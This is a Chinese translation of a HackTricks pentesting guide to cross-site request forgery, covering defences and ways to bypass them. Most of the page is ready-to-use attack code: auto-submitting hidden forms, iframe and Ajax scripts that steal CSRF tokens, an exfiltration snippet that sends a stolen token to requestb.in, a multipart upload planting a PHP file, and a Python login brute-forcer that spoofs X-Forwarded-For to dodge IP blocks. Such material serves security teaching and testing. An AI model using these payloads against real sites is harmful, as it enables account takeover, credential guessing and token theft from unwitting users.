hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

582 lines
23 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CSRF (跨站请求伪造)
<details>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客洞察**\
深入了解黑客的刺激和挑战
**实时黑客新闻**\
通过实时新闻和洞察,跟上快节奏的黑客世界
**最新公告**\
了解最新发布的漏洞赏金和关键平台更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
## 什么是CSRF
**跨站请求伪造**也称为CSRF是一种网络安全漏洞允许攻击者**诱导用户执行他们无意进行的操作**。\
这是通过**让已登录用户**在受害平台访问攻击者控制的网站,并从那里**执行**恶意JS代码、发送表单或检索“图片”到**受害者账户**来完成的。
### 先决条件
为了能够利用CSRF漏洞你首先需要**找到一个相关的操作来滥用**(更改密码或电子邮件,让受害者在社交网络上关注你,给你更多权限...)。**会话必须仅依赖于cookies或HTTP基本认证头**,任何其他头不能用来处理会话。最后,请求中**不应该有不可预测的参数**。
可能有几种**防御措施**可以避免这种漏洞。
### **常见防御**
* [**SameSite cookies**](hacking-with-cookies/#samesite)如果会话cookie使用了这个标志你可能无法从任意网站发送cookie。
* [**跨源资源共享**](cors-bypass.md)根据你需要执行的HTTP请求类型来滥用相关操作你可能需要考虑**受害站点的CORS策略**。_注意如果你只是想发送一个GET请求或一个来自表单的POST请求并且你不需要读取响应那么CORS策略不会有影响。_
* 要求用户输入**密码**以授权操作。
* 解决一个**验证码**。
* 读取**Referrer**或**Origin**头。如果使用了正则表达式,它可能被绕过,例如使用:
* http://mal.net?orig=http://example.com (以url结尾)
* http://example.com.mal.net (以url开头)
* **修改** Post或Get请求的**参数**的**名称**
* 在每个会话中使用**CSRF令牌**。这个令牌必须在请求中发送以确认操作。这个令牌可以用CORS保护。
### CSRF图谱
![](<../.gitbook/assets/image (112).png>)
## 绕过防御
### 从POST到GET
也许你想滥用的表单准备发送一个带有CSRF令牌的**POST请求**,但是,你应该**检查**是否一个**GET**也是**有效的**并且当你发送一个GET请求时**CSRF令牌是否仍在验证**。
### 缺少令牌
一些应用程序在令牌存在时正确**验证令牌,但如果令牌被省略则跳过验证**。\
在这种情况下,攻击者可以**移除包含令牌的整个参数**不仅仅是它的值以绕过验证并发起CSRF攻击。
### CSRF令牌未与用户会话绑定
一些应用程序**不验证令牌是否属于发出请求的同一会话**。相反,应用程序**维护一个它发出的令牌的全局池**,并接受出现在这个池中的任何令牌。\
在这种情况下,攻击者可以使用自己的账户登录应用程序,**获取一个有效的令牌**,然后将该令牌**提供给受害者**用户在他们的CSRF攻击中。
### 方法绕过
如果请求使用了一个“**奇怪的**”**方法**,检查**方法覆盖功能**是否有效。\
例如,如果它**使用PUT**方法,你可以尝试**使用POST**方法并**发送**_https://example.com/my/dear/api/val/num?**\_method=PUT**_
这也可以通过在POST请求中发送**\_method参数**或使用**头**来实现:
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
### 自定义头令牌绕过
如果请求在作为**CSRF保护方法**向请求添加了一个带有**令牌**的**自定义头**,那么:
* 测试没有**自定义令牌和头**的请求。
* 测试与**令牌完全相同长度但不同令牌**的请求。
### CSRF令牌通过cookie验证
在前面的漏洞上的另一个变种中,一些应用程序**在cookie和请求参数中复制每个令牌**。或者**设置一个csrf cookie**,然后在后端**检查发送的csrf令牌是否与cookie相关**。
当后续请求被验证时,应用程序简单地验证**请求参数中提交的令牌是否与cookie存储的值匹配**。\
在这种情况下如果网站包含任何可能允许他将CSRF cookie设置给受害者的漏洞攻击者可以再次执行CSRF**攻击**。
在这种情况下你可以尝试加载假图像来设置cookie然后像这个例子中那样发起CSRF攻击
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
```
{% hint style="info" %}
请注意,如果**csrf 令牌与会话 cookie 相关联,这种攻击将不起作用**,因为您需要将您的会话设置给受害者,因此您将会攻击自己。
{% endhint %}
### 更改 Content-Type
根据[**此处**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)的说明,为了**避免使用 POST 方法的预检**请求,以下是允许的 Content-Type 值:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
但是,请注意,**服务器逻辑可能会根据使用的 Content-Type 而有所不同**,因此您应该尝试上述提到的值以及其他值,如 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
以下是将 JSON 数据作为 text/plain 发送的示例(来自[这里](https://brycec.me/posts/corctf\_2021\_challenges)
```html
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
```
### application/json 预检请求绕过
如您所知,您不能通过 HTML 表单发送带有 **`application/json`** Content-Type 的 POST 请求,如果您尝试通过 **`XMLHttpRequest`** 发送,会首先发送一个 **预检** 请求。\
然而,您可以尝试使用内容类型 **`text/plain``application/x-www-form-urlencoded`** 发送 JSON 数据,只是为了检查后端是否独立于 Content-Type 使用数据。\
您可以通过设置 **`enctype="text/plain"`** 发送一个使用 `Content-Type: text/plain` 的表单。
如果服务器只接受 "application/json" 内容类型,您可以 **发送内容类型 "text/plain; application/json"** 而不触发预检请求。
您还可以尝试通过使用 **SWF flash 文件****绕过** 此限制。更多信息请[**阅读这篇文章**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
### Referrer / Origin 检查绕过
**避免 Referrer 头**
一些应用程序在请求中存在 Referer 头时会验证它,但如果省略该头,则**跳过验证**。
```markup
<meta name="referrer" content="never">
```
**正则表达式绕过**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
要在Referrer将要在参数中发送的URL中设置服务器的域名您可以执行
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
```
### **HEAD方法绕过**
[**此CTF写up的**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)第一部分解释了[Oak的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281),一个路由器被设置为**将HEAD请求作为GET请求处理**,没有响应体 - 这是一个常见的解决方法并不是Oak独有的。它们没有一个专门处理HEAD请求的处理器而是简单地**交给GET处理器但应用程序会删除响应体**。
因此如果GET请求受到限制你可以**发送一个HEAD请求它将作为GET请求处理**。
## **利用示例**
### **窃取CSRF令牌**
如果正在使用**CSRF令牌**作为**防御**,你可以尝试利用[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)漏洞或[**悬挂标记**](dangling-markup-html-scriptless-injection/)漏洞来**窃取它**。
### **使用HTML标签的GET**
```markup
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
其他可用于自动发送 GET 请求的 HTML5 标签包括:
![](<../.gitbook/assets/image (530).png>)
### 表单 GET 请求
```markup
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### 表单 POST 请求
```markup
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
```
### 通过iframe的表单POST请求
```markup
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### **Ajax POST 请求**
```markup
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>
```
### multipart/form-data POST 请求
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
### multipart/form-data POST 请求 v2
```javascript
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### 在iframe中发起表单POST请求
```markup
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
### **窃取CSRF令牌并发送POST请求**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
### **窃取CSRF令牌并使用iframe、表单和Ajax发送Post请求**
```markup
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
```
### **窃取CSRF令牌并使用iframe和表单发送POST请求**
```markup
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
```
### **利用两个iframe窃取令牌并发送**
```markup
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
```
### **使用Ajax窃取CSRF令牌并通过表单发送POST请求**
```markup
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
```
### 使用 Socket.IO 的 CSRF
```markup
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
```
## CSRF 登录暴力破解
以下代码可用于对带有 CSRF 令牌的登录表单进行暴力破解(它还使用了 X-Forwarded-For 头部尝试绕过可能的 IP 黑名单):
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## 工具 <a href="#tools" id="tools"></a>
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## 参考资料
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客洞察**\
深入探讨黑客的刺激和挑战
**实时黑客新闻**\
通过实时新闻和洞察,跟上快节奏的黑客世界
**最新公告**\
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **,今天就开始与顶尖黑客合作!**
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您希望在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF** 版本,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧。
</details>